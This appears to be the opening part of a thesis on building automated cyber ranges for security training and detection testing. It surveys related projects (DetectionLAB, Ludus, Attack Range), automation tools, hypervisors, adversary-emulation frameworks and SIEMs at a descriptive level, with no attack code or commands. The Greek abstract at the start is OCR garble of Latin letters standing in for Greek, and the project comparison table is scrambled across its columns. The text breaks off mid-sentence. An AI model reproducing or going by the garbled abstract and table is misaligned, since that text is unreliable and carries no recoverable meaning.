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Zuvoyn

KaBwg T1a mepIBAAAovTa Pag ywn@ioTTolouvTal OAoéva Kal TTEPICTOTEPO, N ouXvOTNTA KAl N
TIOAUTTAOKOTNTA TwV €TMIBECEWY OTOV KUBEPVOXWPO auvexiouv va autdvovtal. H €AAeipn
ETTAYYEALATIWV OTOV TOMEA TNG KUBEPVOATPAAEIAG, O GUVOUACUO HE Ta EEEAITOOUEVA TTPOTUTIA
emOEoewy, UTTOypauuiCel Tnv  avdaykn vyia Trponypéva  TepIBAAAOVTO  KATAPTIONG TTOU
TTPOCOUOIAdouV T OevApIa TOU TTPAYUATIKOU KOOWOU. H TTPOKTIKA €pyacTnpIakn €pyacia, ol
TrpokaBopiopéveg TTPokANoelg hacking, ol diaywviouoi Capture the Flag (CTF) kai o1 €IKOVIKEG
MNXavég eival Koivég PéEBodOI TTOU  XPENOIYMOTTOIOUVTAl YIa ThV evioxuon Twv OggIoTATWY
KuBepvoao@daAeiag. QoTd00, auToi 01 EKTTAIOEUTIKOI TTOPOI UTTOPOUV YPryopa va EETTEPACTOUVY,
dedopévou OTI KaBnuepiva ciodyovtal véeg ameldég. Ta SokiyaoTikd TrepiBaAlovta  (Cyber
Ranges) rpoo@épouv pia 1o duvapikr] Kal OAOKANPwHEVN EVOAAAKTIKY) AUGT TTPOCOUOIWVOVTAG
OiKTUQ, CUCTAUATA KOl EQAPUOYEG YIQ VA BIEUKOAUVOUV TNV KAIJOKOUWEVN EKTTAIOEUCT, KOTAPTION
Kal OOKIUA OTovV TOopéa TNG KUPBEPvVOAC@AAEIOG. AUTO ETTITUYXAVETAl ETTITPETTOVIAS OTOUG
ETTAYYEAMATIEG va afloAoyolv TIG ETTITITWOEIS TWV AVOOUOUEVWY OTTEIAWV O€ £va EVNUEPWUEVO
avTiypago NG TTPAYMATIKAG UTTOBOUNAG TOUG, XWpeig va diakivduvelouv dIaKOTTEG AsIToupyiag il va
BéTouv o€ Kivouvo euaioBnta dedopéva. Ta TTePIBAAAOVTO AQUTAE PTTOPOUV VA UTTOOTNPICouV TNV
KOIVOTNTA KUBEPVOOCPAAEIOG WOTE va GUPPBAdICel Ye TNV TaxEia avaTITUEN TWV AVATPETTTIKWY
TEXVOAOYIWV Kal TNV au&avopevn dIaouvOeTINOTNTA TWV WYnNPIaKwy cucTnudtwy. H tTrapouca
diatpifn Trporteivel pia peBodoAoyia Kai pia UAOTTOINGN MIaG OTOIBAG AOYIGUIKOU TTOU TTEPIAQUPBAVEL:
1) TNV autopaTOTTOINUEVN KOI QVOTTAPAYWYICIUN avaTiTugn evog TTEPIBAAAOVTOG TTOU TTEPIEXEI
Baoikég uttnpeaieg kal XpAoTeg 2) Tn peBodoloyia evepyoTroinang YNXAVICUWY KATAypa®Ag yia
TNV opBA avixveuon atmeldwyv 3) TN pEBodo ouvdeong pe AUoeig etTToTTTeiag ouoTnudTwy (SIEM)
atrd TOUG EVEPYOUS UnxaviouoUug Kataypa@ng 4) Tnv UAoTToinan TTPOCON0IwaNG avTITTAAWY yIa
TNV emaAfBeuon TNG AEITOUPYIKOTNTAG TNG OToIBag avixveuong. Me tnv emideign autig Tng
aAugidag diadikaaiwy, n Tapouca d1aTpIBA TTPoo@EpEl Pia YeBodoAoyia TTou atrouuBoTrolEl pia
@aivopevik@ TToAUTTAOKN dladikaaia, n oTroia YTropei va TrpowBnBei atmd Toug opyaviououg T0G0
TOU I8IWTIKOU 600 Kal ToU ONUOGCIoU ToPéa yia TN dnuioupyia OOKIMACTIKWY TTEPIBAAASVTWY E
Baon TIG TTPAYMATIKEG TOUG UTTOOOWEG Kal TNV eTTavaAauBavopevn OOKIUA TOUg €vavTl VEWV
ateIMy, evw TTapaAANAa eTTaAnBelel 0TI n aToifa avixveuong AsiToupyei cwaoTd.

Abstract

As our environments become increasingly digitized, the frequency and complexity of cyber-
attacks continue to grow. The shortage of cybersecurity professionals, coupled with evolving
attack patterns, underscores the need for advanced training environments that closely simulate
real-world scenarios. Practical lab work, pre-configured hacking challenges, Capture the Flag
(CTF) competitions, and virtual machines are common methods used to enhance cybersecurity
skills. However, these training resources can quickly become outdated since new threats are
introduced daily. Cyber ranges offer a more dynamic and comprehensive alternative by simulating
networks, systems, and applications to facilitate scalable cybersecurity education, training, and
testing. They achieve this by allowing professionals to assess the impact of emerging threats on
an updated copy of their actual infrastructure without risking operational downtime or
compromising sensitive data. These environments can support the cybersecurity community to
keep pace with the rapid development of disruptive technologies and the growing interconnectivity
of digital systems. This thesis proposes a methodology and an implementation of a software stack
that includes: 1) the automated, and replicable deployment of a cyber range containing basic
services and users 2) the methodology of enabling logging mechanisms to properly detect threats
3) the connection method to SIEM solutions from the active logging mechanisms 4) the
implementation of adversary emulation to verify the functionality of the detection stack. By
demonstrating this chain of procedures, this thesis offers a methodology that demystifies a
seemingly complex procedure, which can be fostered by vendors both in the private and public
sector to build cyber ranges based on their actual infrastructures and repetitively test them against
new threats while also verifying that their detection stack is properly functioning.
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1. Introduction

Cyber ranges are virtual environments that can use actual network equipment, as required and
they can range from single stand-alone environments to internet replicating environments that
may even be publicly accessible. Cyber ranges may be used internally by private and public
organizations, or by students in the classroom or online from training and education providers.
There are different concerns in different use cases regarding cybersecurity and vulnerability
assessing. There are cases where most of the network consists of loT devices or IP sensors,
challenges like what kind of approach is needed by also considering the environment under which
each device must operate in. For example, in agriculture a lot of automated equipment is being
introduced to cut personnel needs for planting, harvesting or maintenance and a lot of different
kinds of sensors are being deployed throughout the fields for bugs monitoring so the crops stay
healthy until harvest period etc. Such kind of devices are exposed out in the open field without
anything protecting them from external tampering and are susceptible to any malicious network
intrusion because most of them are communicating wirelessly. In the maintenance part, robotic
vision also comes into play to detect diseases among plants etc. and take the necessary actions.
This creates a complex infrastructure containing IT devices such as control stations, 10T devices
such as sensors and cameras, cloud services for image processing etc. Other examples can be
mentioned in maritime, supply chains, healthcare, emergency private or public deployments etc.
and each one of them does not share the same challenges with the rest.

There is also the existing computing infrastructure is constantly expanding and the deployment
environment around its expansion is changing, which also introduces new challenges. Today
there is a huge amount of centralized computing capacity in big data centers which in most cases
has all the necessary equipment, physical security etc. to be considered a well monitored and
controlled environment for all the IT equipment that resides in it. Cloud providers are already
experimenting with ways to decrease the latency of access to their data center hosted services,
which shifts the whole industry towards major structural changes. One approach is to increase
the medium between the data centers and the users, which plainly means to increase the internet
access bandwidth for each user and work with the Internet Service Providers to decrease the
latency. The other approach is to extend the cloud capabilities further out of the data centers, so
they are physically closer to the end user. The latter approach, if adopted, will force the industry
to lean towards solutions like Fog and Edge Computing which is not the same as data center
deployments. Edge and Fog member devices can be deployed in much more hostile
environments than the one a data center provides. This means that these devices can be, but not
always, physically exposed to the public, or have exposed networking medium and even though
they might have some computing capacity, they have limited ways to protect the data they are
processing or storing. All these mean that the environment of the deployed devices is again
changed and must be reviewed each time for each case (or tier/category) so a suitable
cybersecurity policy can be applied. The framework on top of which the whole data transaction
occurs, must be built in a way that the edge device provides a result that is not stored into the
edge device itself, it is encrypted and is only a piece of information that is useful only to the serving
client. In such cases, the framework provides some certainty, but is by no means the only thing
that can be relied upon, and a proper cybersecurity policy could be enforced that could monitor
any data leaks and external environment changes, like network port changes, chassis intrusions
etc. Cyber Ranges can facilitate the architecture, planning, standardization and deployment of
these environments. Also, a major security concern is the loT devices which are considered the
weakest link inside a network and their security has been extensively explored in existing
literature, reflecting the growing recognition of the critical importance of securing interconnected

devices in modern digital ecosystems. Researchers and practitioners alike have delved into
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various aspects of loT security, including vulnerability assessment, threat detection, risk
management, and mitigation strategies. Numerous studies have highlighted the inherent security
challenges posed by the proliferation of loT devices across diverse domains such as healthcare,
transportation, smart homes, and industrial systems. The vulnerability of medical loT devices to
cyberattacks and the need for robust security measures to safeguard patient data and ensure the
integrity of healthcare systems are critical. Similarly, a comprehensive analysis of security
vulnerabilities has been conducted in smart home loT devices, identifying common attack vectors,
and proposing mitigation strategies to enhance device security. Furthermore, advancements in
automated vulnerability assessment and risk management have garnered significant attention in
recent years. Researchers have proposed various methodologies and tools for automating the
process of identifying and mitigating security vulnerabilities in loT devices. For instance, a
machine learning-based approach for detecting anomalous behavior in 1oT networks, enabling
proactive threat detection and response or a vulnerability assessment framework leveraging
machine learning techniques to prioritize security patches and mitigate potential risks in 0T
environments. Despite the progress made in l0T security research, several challenges and gaps
persist. One notable challenge is the complexity and heterogeneity of loT ecosystems,
encompassing diverse devices, protocols, and communication networks. As a result, ensuring
interoperability and compatibility between different loT components remains a significant obstacle
to effective security management. Moreover, the lack of standardized security protocols and best
practices exacerbates the risk of vulnerabilities and exploits in loT devices.

Considering these challenges, the present study seeks to contribute to the existing body of
knowledge by proposing an automated tool for vulnerability assessment and risk management in
loT environments. By building upon existing research and leveraging advanced technologies such
as machine learning and data analytics, this study aims to address critical gaps in current loT
security practices and provide practical solutions for enhancing the security posture of loT
devices. This is also underscored by numerous real-world incidents and cyberattacks that have
targeted interconnected devices across various sectors. Examining these case studies provides
valuable insights into the vulnerabilities inherent in loT ecosystems and the potential
consequences of inadequate security measures. One notable case study is the Mirai botnet
attack, which occurred in 2016 and targeted vulnerable loT devices, including routers, IP
cameras, and digital video recorders. The Mirai botnet, comprised of compromised devices, was
used to launch large-scale distributed denial-of-service (DDoS) attacks, disrupting internet
services and infrastructure worldwide. This incident highlighted the widespread impact of loT
device vulnerabilities and underscored the need for enhanced security measures to mitigate the
risk of botnet exploitation. Another illustrative example is the WannaCry [1] ransomware attack,
which affected hundreds of thousands of computers and loT devices globally in 2017. This
ransomware exploited vulnerability in the Windows operating system, spreading rapidly across
networks and encrypting files on infected devices. Healthcare organizations were severely
impacted by the attack, with reports of disrupted services and compromised patient data. This
case study emphasized the interconnected nature of 10T devices and the cascading effects of
cyberattacks on critical infrastructure and essential services. Furthermore, the Stuxnet worm
attack, discovered in 2010, targeted industrial control systems, including those used in nuclear
facilities and power plants. The Stuxnet worm exploited vulnerabilities in supervisory control and
data acquisition (SCADA) systems, enabling attackers to manipulate centrifuge speeds and
sabotage uranium enrichment processes. These case studies indicate the multifaceted nature of
lIoT security challenges and the diverse range of threats facing interconnected devices. From
large-scale botnet attacks to targeted ransomware campaigns and state-sponsored cyber
espionage, the evolving threat landscape necessitates a proactive and comprehensive approach
to security. By learning from past incidents and understanding the tactics, techniques, and
procedures employed by threat actors, organizations can better prepare and defend against
future cyber threats in 10T environments. The concept of this thesis is that in conjunction with
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other tools and research can enforce cybersecurity on all systems of pre-specified groups that
form the defensive mechanism of a network infrastructure. Each pre-specified group can meet
specific requirements of the zones that it covers, taking into consideration the properties of the
segment. That is due to the segmentation of the contemporary networks, that are in place to
compartmentalize types of users, departments, infrastructure itself and contain exposure or
damage when this occurs. Also considering that all segments, at some point and level, are all
interconnected together directly or indirectly and this must be considered so all points of entry
must be calculated along with the possible attack pathways. Most cases require a lot of
customization that must not affect the working status of the actual networks themselves, and a
Cyber Range can be a carbon copy of such an environment in which all these test scenarios can
take place, without stopping services on the actual network. A cyber range that incorporates the
most common systems that could exist in a corporate network can be the basis on which most
tests can be performed. This basic Cyber Range environment must also incorporate
representative network segmentation, and it must be implemented using best practice networking
techniques and configuration of all the necessary security system rules according to the nature
and level of required access at each network segment. Furthermore, the whole infrastructure must
be ready for monitoring and recording of all the network traffic with systems like an IDS system
that should have access to different security levels of the infrastructure. This will enable it to
monitor all the different types of attacks that might target different systems within the
infrastructure. This also depicts most networks, where the infrastructure has limited resources
and often a single firewall device is responsible to route traffic through all the different security
levels so an IDS system can be fed data inline or out of that Firewall appliance.

By examining key concepts, challenges, and real-world examples, the groundwork is laid for
further exploration into the development of a Cyber Range environment and automated tools for
vulnerability assessment and risk management. Moving forward, this thesis aims to contribute
novel insights and practical solutions to address the pressing cybersecurity challenges of our
interconnected world.

1.1 Motivation

As stated, Cyber Ranges have emerged as critical tools for enhancing cybersecurity education,
training, and testing by simulating real-world cyberattack scenarios in controlled environments.
Various organizations and initiatives have developed both proprietary and open-source Cyber
Range solutions aimed at addressing the growing complexity of cyber threats.

Proprietary solutions like IBM's X-Force Command Cyber Range [2], Microsoft's Cybersecurity
Center, and Cisco's Cyber Range offer immersive training experiences tailored to organizational
needs, focusing on simulating advanced cyber threats, improving incident response capabilities,
and offering specialized training for various industries. These environments provide valuable
hands-on experience but are often limited by the predefined scenarios and the specific
technologies they support.

Open-source projects, such as RangeForce CyberSkills [3] Platform and Cyber Range And
Training Environment (CRATE) [4], provide a more flexible and customizable approach. These
platforms enable users to tailor scenarios to specific organizational needs while offering cost-
effective solutions. Open-source ranges also foster collaboration within the cybersecurity
community, promoting innovation and knowledge-sharing. These solutions allow organizations to
dynamically simulate cyber threats and better understand the scope of vulnerabilities present in
their environments, all while benefiting from the transparency and flexibility of open-source
systems.

Cyber Range Development: Configuration of
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However, despite these advances, several gaps remain. Current Cyber Range solutions, whether
proprietary or open source, typically rely on static infrastructures that behave predictably, which
diminishes their effectiveness in simulating the unpredictability of real-world attacks. Machine
learning integration, though promising, often involves false data inputs or limited system
compatibility, particularly when closed ecosystems or proprietary products are involved.
Additionally, the increasing complexity of networks, especially with the rise of Internet of Things
(IoT) devices, makes it difficult for many Cyber Range solutions to scale effectively and maintain
realism.

To further complicate matters are the lack of modularity, ease of use, and the high costs
associated with hosting and maintaining these environments. Most Cyber Ranges focus on
simulating specific scenarios without the flexibility to adapt to rapidly changing threats or
infrastructures. As cyber-attacks become more sophisticated, traditional training environments fall
short of preparing cybersecurity professionals for novel attack vectors and zero-day exploits.
While some ranges can attract malicious behavior by acting as honeypots, many still fall short of
providing realistic simulations that mirror the dynamic nature of real-world environments, limiting
their effectiveness for both training and research purposes.

To address these gaps, the advancement of automation within Cyber Ranges can reduce re-
deployment times and improve usability. Automation can also enable more seamless
reconfiguration of the environment, making it more responsive to emerging threats. Furthermore,
deploying Cyber Ranges as highly realistic, isolated environments can provide invaluable insights
by capturing malicious traffic and simulating tailored attacks against real-world systems. These
enhanced features would allow researchers to study attacker behavior, discover new
vulnerabilities, and share findings with the cybersecurity community to improve global defenses.
As the complexity of cyber threats continues to evolve, it is essential to develop more adaptive
and modular Cyber Ranges that can keep pace with the dynamic cybersecurity landscape and
provide ongoing value to both professionals and researchers alike. To address some of these
issues, there are some notable projects like Ludus [5] and Immersive Labs [6].

Ultimately, all the projects discussed contribute toward advancing cybersecurity defense, but
addressing these key gaps modularity, automation, and system complexity remains crucial for
future development of Cyber Ranges that can truly mimic and respond to the evolving nature of
cyber threats. By focusing on these challenges, Cyber Ranges can be transformed into more
versatile, realistic, and effective platforms, providing cybersecurity professionals with the training,
tools, and insights they need to stay ahead of increasingly sophisticated adversaries.

1.2 Contribution

This thesis attempts to address some of the key gaps identified in current Cyber Range solutions
by offering innovative approaches that enhance flexibility and scalability in these environments.
One of the core contributions of this work is the in-depth exploration of hardware and software
requirements, network architecture, virtualization platforms, and security tools necessary to
construct an effective Cyber Range. By systematically identifying and detailing these components,
the research provides a comprehensive blueprint for building a Cyber Range that closely mimics
real-world network conditions and cyber threats. This includes selecting appropriate computing
resources, network devices, and software applications that can simulate the complexities of
modern operational networks.

Furthermore, the current work aims to address the challenge of sourcing the necessary hardware
and software resources from reliable and credible providers. This involves a meticulous evaluation
of the availability, compatibility, and cost-effectiveness of these resources, ensuring that the Cyber
Range is both functional and adaptable to the needs of various organizations. The result is a step-
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by-step guide that offers best practices for setting up the environment, covering aspects like
network configuration, virtual machine setup, software installation, and security policy
implementation. These examples are designed to serve as a practical manual for practitioners,
enabling them to replicate the setup with scalability and customization for different organizational
requirements.

Beyond the technical aspects, this thesis also focuses on automation as a solution to the static
nature of existing Cyber Ranges. Currently, many Cyber Ranges rely on predefined scenarios
that become predictable over time. This work introduces a fully automated process for redeploying
and reconfiguring environments, allowing them to respond dynamically to new threats. By
automating the redeployment process, the Cyber Range becomes more responsive and easier
to adapt, reducing the manual effort required to maintain and update the environment. This
advancement not only saves time but also enhances the overall usability of the platform.
Modularity is another major contribution of this work. By designing modular architecture, the Cyber
Range can accommodate a wide variety of components, such as additional virtual machines,
network segments, and specialized security tools. This flexibility is particularly valuable for
organizations with diverse infrastructures, including loT networks and cloud-based systems,
allowing the environment to be customized to meet specific needs and simulate more complex
scenarios.

Another key focus of this thesis is on integrating advanced monitoring and testing capabilities into
the Cyber Range. One of the identified gaps in existing solutions is their inability to simulate real-
world cyberattacks in a way that truly tests the resilience of an organization's security posture. To
address this, the research incorporates realistic attack scenarios, including penetration tests,
vulnerability assessments, and threat simulations. This testing ensures that security measures
are rigorously evaluated and that response strategies are tailored to the specific configurations of
the network being simulated. While the primary focus is not on penetration testing itself, the
environment is designed to provide a comprehensive platform for conducting such assessments,
monitoring performance, detecting intrusions, and analyzing the impact of attacks. This
contributes to improving overall cybersecurity resilience by enabling organizations to test their
systems in a controlled yet realistic environment. The ability to monitor and evaluate these attack
scenarios with detailed data provides invaluable insights into system vulnerabilities and the
effectiveness of security protocols.

Moreover, this thesis illustrates the scalability challenges that may arise with increasingly complex
network ecosystems, particularly those involving loT devices. As networks grow, maintaining high
fidelity in simulations becomes more difficult. To overcome this, the work proposes scalable
solutions that ensure the Cyber Range can accommodate larger numbers of devices and more
intricate network topologies without sacrificing performance or realism. This scalability ensures
that as an organization’s network evolves, the Cyber Range remains a valuable testing and
training tool. This feature enhances the range’s ability to reflect the unpredictability of modern
cyberattacks and strengthens its role in preparing cybersecurity professionals for the evolving
threat landscape.

By addressing these significant gaps automation, modularity, testing capabilities, and scalability,
this thesis contributes to the development of more robust and dynamic Cyber Range
environments. It not only provides a detailed framework for creating and managing these
environments but also ensures that they are equipped to simulate the complexities of real-world
cyber threats, making them an essential tool for cybersecurity training, testing, and research.

Cyber Range Development: Configuration of
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1.3 Thesis Structure

This research is structured in a way that allows the cybersecurity researcher to understand
everything regarding the deployment automation, the reason behind each procedure, tool choices
and the methodology approach. The top-level structure starts by first stating all the related work
that has been done by the community. Then it continues with the Cyber Range development
methodology, the implementation of the environment and the functionality validation.

The related work chapter includes existing cyber range projects, building blocks that refer tools
and frameworks and related research.

The Methodology chapter covers the methodology itself, the underlying infrastructure analysis
that needs to be done and deployment of the environment.

The validation chapter illustrates the deployed Cyber Range functionality, establishes some of the
functionality checks needed for validation and demonstrates the deployment on a test host,
monitoring enhancements and attack simulation.

Cyber Range Development: Configuration of
the Cyber Range Environment Network and Monitoring Tools
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2 Related Work

Cyber Range has been the subject of extensive study and there are some projects already that
have specific deployment infrastructures and topologies in mind that create cyber range
environments. There is an issue that many of them do not address and have to do with the fact
that the simulated infrastructure is static and cannot easily be changed and some are also
topology specific. This defeats the purpose of having one cyber range as a basis for most
networks and narrows the target to a specific type of scenario, hence the need for a method that
can be adapted in most cases. There are some projects that contain valuable information for
something like this.

2.1 Cyber Range Feature Criteria

For a cyber range to be most effective, it must be able to quickly adapt to the new attack methods
and so researchers to be able to work on possible solutions. Also, an ideal environment would be
able to clone with as little effort as possible any existing environment from any platform and under
any architecture to any platform. Also, it is worth noting that changes might be needed in cases
where cloud providers offer Software as a Service (SaaS) or Platform as a service (PaaS) and
might be included in the testing environment. For these cases, the Cyber Range automation
should be able to create a configuration where for example, a container hosted in a Cloud Provider
can be cloned and moved to a container host.

Moreover, a cyber range must be easy to deploy within a reasonable amount of time, that renders
it more suitable in case researchers need to constantly replay different attacks on a “vanilla” state
of the environment.

Along with all the above, the created environment must have pre-defined points where monitoring
logs are gathered or easy deployment of such mechanisms. Monitoring can be an instance out of
which all logs can be extracted to another tool or monitored locally within the instance itself.

Regarding the adversary emulation, this always depends on the simulated attacks, and it is part
of the malicious attack campaign to find points of entry, so this is not something that a cyber range
would necessarily have, unless the environment is designed for educational purposes.

2.2 Related Projects

There are some cyber range projects which serve as a critical tool for training, testing, and
enhancing security protocols across various environments. They exemplify the diverse
approaches and applications of cyber ranges in today's digital ecosystem and collectively
highlight the varied applications and methodologies within the field of cyber range development,
each addressing unique aspects of cybersecurity training, simulation, and system deployment.

2.2.1 Game Of Active Directory

This is a LAB project [7] that gives pen testers a vulnerable Active Directory environment ready
to use to practice usual attack techniques. This project has 3 major flavors, each one with a
different number of domains, virtual machines etc. that focuses on the capacity needed of the
host and not the actual cyber range environment change. The important information extracted
from this project is the deployment approaches taken depending on the type of target host. This
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project highlights that each deployment requires its own approach with variables being both the
source environment and the cyber range. As already mentioned, the project only offers one
deployment cyber range in three different versions that all focus on the same security issues of
Active Directory and has very limited modularity.

2.2.2 Attack Range

Another very good case is Attack Range from Splunk [8] that leverages many tools to instantiate
a cyber range environment both instrumented cloud and local that simulates attacks and forwards
the data into a Splunk instance. This environment can be used to develop and test the
effectiveness of detections, but its level of customization is limited again to the number of member
nodes in it and not to the interconnection of them or the addition of new types of nodes. While the
focus of this project is shifted towards cyber offense, it provides an emulated environment rather
than an actual set of systems. This is very helpful and efficient for what it does but lacks the
abilities that real environments have.

2.2.3 CyTrONE

Another very good project is CyTrONE [9] which focuses on the training aspect of cyber ranges
and integrates training content and environment management. Although this project is very
customizable, it is geared towards training rather than the actual testing of the environment. While
it does not create a new cyber range, it is based on a preexisting one and it is shifted towards
training in that environment and any changes to the cyber range must be adapted externally.

2.2.4 DetectionLAB

A very notable mention is DetectionLAB [10] that is no longer maintained, allowed the automation
of the process of bringing an Active Directory environment online with complete logging
functionality and variety security tools. While the actual environment is very specific, the
deployment targets support both officially and unofficially were more than adequate. It supported
Oracle VirtualBox [11], VMWare Workstation [12], ESXi [13], HyperV [14], LibVirt [15] systems like
Proxmox [16], RHEL [17] and the Cloud Providers AWS [18] and Azure [19]. The deployment
approach is also very interesting because it uses tools like Packer [20] and Vagrant [21] which
can deploy and configure Virtual Machines with a specific configuration scenario.

2.2.5 Ludus

Ludus [5] project introduces is a system to build easy to use cyber environments, or "ranges" for
testing and development. Built on top of Proxmox [16], it enables advanced automation while still
allowing easy manual modifications or setup of virtual machines and networks. Ludus [5] is
implemented as a server that runs Packer [20] and Ansible [22] to create templates and deploy
complex cyber environments from a single configuration file. While this project have a lot of
flexibility, focuses mainly on using as target hosts of the Cyber Range environments Proxmox [16]
or similar systems, which introduces a limitation on the architecture of the deployed Virtual
Machines especially regarding ARM based operating systems and also has a complex
architecture regarding its networking, which hinders the deployment of outside monitoring or
attack simulations.
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2.2.6 Related Projects Comparison

Nikitas Makris

As per the cyber range criteria, all mentioned related projects have totally different approaches
and the result of each one have totally different attributes that makes it appealing. A basic
feature set comparison chart could formed as follows:

Project Modularity | Source Host Platform | Deployment | Monitoring | Attack
Platform Simulation

Game Of Limited to N/A, projectis | VirtualBox Automated Not Not

Active specific not cloning [11], VMWare Included Included

Directory topologies | actual [12], Proxmox

project [7] environment [16], Azure [19]

Attack Range | Limited to N/A, projectis | All x86 Automated Included Included

[8] one not cloning archtecture
topology actual platforms,

environment Azure [19],
AWS [18]

CyTrONE [9] | Limited to N/A, projectis | Linux [23] Semi- Not Not
one not cloning automated Included Included
topology actual

environment

DetectionLAB | Limited to N/A, projectis | VirtualBox Semi- Included Not

[10] one not cloning [11], VMWare automated Included
topology actual [12], ESXi

environment [13], HyperV
[14], LibVirt
[15], Proxmox
[16] , Azure
[19], , AWS
(18]

Ludus [5] Limited to N/A, projectis | VirtualBox Automated Not Not
specific not cloning [11], VMWare Included Included
topologies | actual [12], Proxmox
but can environment [16], Azure [19]
expand.

Table 1: Related Projects Comparison Chart
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2.3 Building Blocks

To be able to build such projects, it is necessary to be able to leverage the appropriate tools that
renders their deployment, management, development and maintenance much easier. A suite of
powerful tools such as Vagrant [21], Packer [20], Terraform [22], Ansible [23] and not least, Bash
[24] provide robust solutions for automating, configuring and extending virtual infrastructures on
any development or even production landscapes. Some of these tools can be used together,
forming a tool ecosystem that allows development operations to be extremely efficient when
deploying virtual infrastructures.

2.3.1 Automation Tools

Vagrant
Vagrant [21] is an automation command line-based tool for virtual resources provisioning that can

deploy Virtual Machines and containers. This tool can be used to deploy multiple virtual machines
with specific interconnections with each other. It is also capable of installing/running additional
software within the deployed virtual machines which can further configure the environment.

Packer

Packer [20] is a tool that generates a compressed virtual machine file that can contain
configuration files and installation images like ISO files. This is useful when used with tools like
Vagrant [21] for automated deployment and configuration of virtual environments. This can
accelerate the deployment process because it provides ready “Boxes” (compressed Virtual
Machine images) on Vagrant [21] cloud which can be downloaded and deployed quickly.

Terraform

Terraform [22] is an infrastructure automation provisioning tool that can manage guest operating
systems hosted into any local or cloud provider. This tool is extensively used in conjunction with
cloud development operations personnel because of its excellent compatibility and adaptability.
This tool resembles very much Vagrant, but the key difference is that Vagrant is focused on
managing development environments and Terraform is for building production ready
infrastructure. Terraform [22] lacks some features that other tools like Vagrant have, such as
synchronized folders, automatic networking, http tunneling etc. Terraform [22] could be used in
conjunction with other tools to manage and deploy virtual resources, such as a cyber range, but
without any extra configuration like networking etc.

Ansible

Ansible [23] is a suite of tools that enable users to automate, configure and extend infrastructure
to any target remote (cloud) or local. Ansible extension modules have maximum compatibility with
any source or destination host offering agent-less architecture, relative simplicity, scalability,
flexibility and predictability. This is achieved through the ansible YAML syntax workflow file
structure, often called “playbooks” that are very deterministic and predictable. Ansible can be used
to deploy and configure any cyber range from any source to any given target host, providing at
least that there is a ssh connection. Ansible is also extremely useful when a “playbook” needs to
run on multiple hosts, multiple times or on specific intervals without depending on the target hosts
for the scheduling, facilitating and accelerating the development operations processes.

Bash
Bourne-Again Shell (Bash) [24] is a shell program, developed and supported by most UNIX
operating systems. Bash is usually preinstalled by default to most Linux distributions, and it is
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usually the default shell on most of them, which makes it instantly available for usage without any
requirement for configuration or installation. It is a very powerful program that not only allows but
it endorses bash scripting, which renders it one of the best candidates for cyber range
deployments, especially if the target host has it by default. Bash [24] is also usually leveraged by
other tools like Ansible [23], Terraform [22] etc. to perform tasks on an operating system level.

2.3.2 Platforms

Cloud Providers

Cloud Providers like Azure [19] or AWS [18] can be easily used for hosting testing infrastructure.
Itis by far the easiest way to instantiate an environment, but there are some factors that need to
be considered, like costs and environment isolation. When referring to isolation, it does not mean
only the Internet, but also other resources that might be present under the same cloud
subscription and might be affected by this. Advantages of cloud providers are the fact that no
additional equipment is needed for the Cyber Range and that it offers complete networking
management that allows researchers to access the created resources from anywhere.

VMWare Workstation

VMWare Workstation [12] is a type 2 hypervisor that installs on top of another Operating System
and offers ability to create, access and manage virtual machines. Also, it offers networking
management that can be used to provide access remotely, given that the necessary external
networking is configured accordingly.

VirtualBox

VirtualBox [11] is also a type 2 hypervisors that installs on top of Operating Systems. It enables
the creation, management and access of Virtual Machines and it also has networking
management capabilities, which are limited to the host itself, so any external access must be
configured separately.

HyperV
HyperV [14] can be either a type 2 hypervisor or a type 1 hypervisor, depending on the underlying

Windows [26] operating system. It offers the same features as a proper hypervisor would have,
but the difference is that it is tethered to a Windows [26] operating system and cannot be deployed
under any other operating system.

Proxmox

Proxmox [16] is a type 1 hypervisor that work on top of a Debian Linux [23] operating system. If
offers the same functionality, but also offers the ability to create an manage LXC Containers and
supports Clustering, which increases the resiliency and high availability of all the virtual resources.
Proxmox [16] is also open-source and because it is based on Linux [23], it is compatible with High
Availability, Hot Migration and resiliency requirements that an organization needs to provide
production services.

Libvirt

LibVirt [15] is a virtualization technology that is used by RedHat Linux [27] and can be either a
type 1 hypervisor or type 2 hypervisor depending on the initial setup of the underlying operating
system. It offers most of the same features, with or without necessarily a WebUI as other
solutions, but it boasts its stability and compatibility with different technologies and systems. While
it is not offered exclusively as part of a RedHat Linux [27] instance and it is offered by other Linux
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[23] distributions, most of them are also supported by the same company and all of them are
based on the same kernel base.

ESXi

VMWare ESXi [13] is a type 1 hypervisor, that can be also managed by a VMWare Workstation
[12] instance. It offers all the virtualization features along with additional ones, like clustering, high
availability and hot migration of Virtual Machines within the cluster, which means that is can
completely support production services that need to be available constantly.

2.3.3 Adversary Emulation Frameworks

CALDERA

CALDERA [25] is an open-source adversary emulation software suite, developed and supported
by MITRE. It features a lot of red teaming capabilities, including the most well-known C2
Command and control intrusion techniques that involve deploying remote agents, elevating
access, taking control of systems and performing lateral movement inside the network. It also
offers attack planning by creating adversary campaigns that include sequenced attack actions
etc.

Cobalt Strike

Cobalt Strike [29] is a pure adversary emulation framework that offers complete post exploitation
agents, full Red Team operations and even collaboration among the attacking team. It is
considered as a leader in this field, supporting also offensive security trainings etc. but it requires
paid license which might not be ideal for each use case.

2.3.4 Monitoring Tools

Wazuh

Wazuh [26] is an open-source monitoring system used for inspecting networks; by gathering logs
from each node network member so it identifies risk components and prevent system crashes or
intrusions. The task of these systems is to find a weak point, submit a report or alert the
administration. It offers agents for most systems and there are many ways to get logs from
Network Intrusion Detection Systems or similar devices that are not compatible with the agents
directly, so it can provide a fair overview of what is the current security posture of a network.

Splunk
Splunk [31] is a monitoring system used for ingesting logs and different data metrics from all

connected nodes and then categorizing, determining with a defined set of rules, any threats that
may arise. It is considered a fully featured SIEM if configured correctly, which facilitates
malicious activity detection. It requires a paid license which might cause additional financial
overhead if used solely for Cyber Range purposes.

2.4 Related Papers

There are some studies and proposals that reflect a concerted effort to advance cyber range
technologies and methodologies, ensuring that cybersecurity training and testing environments
are as robust and sophisticated as the threats they are designed to counter.

2.4.1 Design and Implementation of Multi-Cyber Range for Cyber Training and Testing
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This paper [27] outlines the importance of constructing practical, multi-cyber ranges tailored to
the unique characteristics of each military to enhance cyber training and weapon system testing.
While militaries have been developing individual cyber ranges that simulate specific battlefield
environments, these often do not fully represent the integrated operation environments seen in
actual combat. The paper proposes a configuration plan and operational functions for a multi-
cyber range that can accurately reflect real-world scenarios, including the testing of the impacts
of DDoS attacks on military network interoperability. The findings suggest that DDoS attacks could
significantly disrupt communication between systems, emphasizing the need for robust cyber
range construction. Furthermore, the technology discussed is not limited to military applications
but is also relevant to educational and business sectors, particularly in areas focusing on cyber-
